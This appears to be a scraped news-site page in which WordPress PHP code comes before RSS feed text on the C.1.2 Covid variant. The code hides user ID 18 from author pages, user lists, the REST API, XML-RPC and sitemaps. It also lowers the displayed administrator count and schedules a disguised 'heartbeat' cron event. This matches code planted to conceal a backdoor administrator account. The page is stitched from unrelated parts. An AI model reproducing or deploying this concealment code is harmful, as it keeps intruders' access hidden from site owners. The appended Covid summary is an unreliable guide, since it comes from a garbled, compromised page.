add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Ten facts about the new C.1.2 variant of Covid appeared first on The Edge Media.
]]>Ten facts about C.1.2 variant :
1) According to a study that is yet to be peer reviewed, the C.1.2 variant could be more infectious and has shown signs of evading protection provided by vaccines.
2) The study posted on the preprint repository MedRxiv on August 24 says the C.1.2 has mutated substantially compared to C.1, which dominated the Covid first wave in South Africa.
3) Richard Lessells, an infectious disease specialist and one of the authors of the research on C.1.2, was quoted by Reuters as saying that C.1.2 “may have more immune evasion properties than Delta”, based on its pattern of mutations, and that the findings had been flagged to the World Health Organisation.
4) The study says the C.1.2 lineage has a rate of about 41.8 mutations per year, which is about twice as fast as the current global mutation rate of other variants.
5) The C.1.2 was first detected in South Africa in May. It has since been found in China, the Democratic Republic of the Congo, Mauritius, England, New Zealand, Portugal and Switzerland.
6) The C.1.2 is not yet a variant to follow nor a variant of concern, according to WHO.
7) It is not a single virus but a clustering of genetically similar viruses known as C.1.2. Researchers found that the cluster picked up a lot of mutations in a short period of time. Tt has 40-59 mutations more than the original COVID-19 virus.
8) Many mutations are associated in other variants with increased transmissibility and reduced sensitivity to neutralising antibodies, but they occur in a different mix and scientists are still examining how they affect the behaviour of the virus.
9) The C.1.2 has not been found in India so far, news agency ANI has quoted government sources as saying.
10) Mumbai’s civic body Brihanmumbai Municipal Corporation (BMC) has made RT-PCR tests a must for passengers from UK, Europe, Middle East, South Africa, Brazil, Bangladesh, Botswana, China, Mauritius, New Zealand and Zimbabwe.
The post Ten facts about the new C.1.2 variant of Covid appeared first on The Edge Media.
]]>The post Two More Corona Variants Found By Scientists appeared first on The Edge Media.
]]>Led by Bing Chen, Phd of the Molecular Medicine Department at the Boston Children’s Hospital, the analysis is one of the latest in a series of SRAS-CoV-2 structural investigations.
The post Two More Corona Variants Found By Scientists appeared first on The Edge Media.
]]>